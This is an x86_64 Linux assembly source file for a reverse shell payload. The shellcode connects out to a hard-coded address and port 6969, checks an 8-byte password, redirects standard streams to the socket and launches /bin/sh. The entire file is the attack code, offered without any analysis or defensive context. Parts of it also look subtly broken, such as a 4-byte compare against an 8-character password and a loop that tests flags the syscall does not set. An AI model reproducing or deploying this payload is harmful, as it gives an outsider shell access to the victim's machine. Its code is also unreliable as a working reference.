x86_64 linux reservse shell

[bits 64]

_start:
; store stack
    push rsp
    pop r8

; socket(AF_INET, SOCK_STREAM, 0);
    push 41        ; sys_socket
    push 0         ; N/A
    push 1         ; SOCK_STREAM
    push 2         ; AF_INET
    pop rdi
    pop rsi
    pop rdx
    pop rax
    syscall
    push rax
    push rax

; connect(s, (sockaddr *) &addr,0x10);
    pop rdi
    pop r9
; make some space
    xor rdx, rdx
    push rdx
    push rdx
; generate sockaddr struct
    ; IP = 0.0.0.0
    mov word [rsp + 2], 0x391b      ; PORT = 6969
    mov byte [rsp],  2              ; AF_INET
    push rsp
    pop rsi
    push 0x10
    pop rdx
    push 42
    pop rax
    syscall
; check success
    cmp rax, 0
    jne cleanup

; fork(void)
    push 57
    pop rax
    syscall
    cmp rax, 1
    jge _start

; check password
; read(s, &buf, 8)
    xor rdx, rdx
    push rdx
    pop rax
    push r9
    pop rdi
    push r8
    pop rsi
    push 8
    pop rdx
    syscall
    cmp dword [r8], "12345678"
    jne exit

; dup2(s,i);
    push 3
    pop rsi
loop:
; sys_dup2
    dec rsi
    push 33
    pop rax
    syscall
    jne loop

client:
; execve(SHELLPATH,{SHELLPATH,0},0);
    push rsi
    pop rdx
    push rsi
    mov rdi, "/bin/sh"
    push rdi
    push rsp
    pop rdi
    push 59
    pop rax
    syscall

cleanup:
; close(%ebx)
    push 3
    pop rax
    push r9
    pop rdi
    syscall
; restore stack
    push r8
    pop rsp
    jmp _start


exit:
; exit(0);
    push 60
    pop rax
    syscall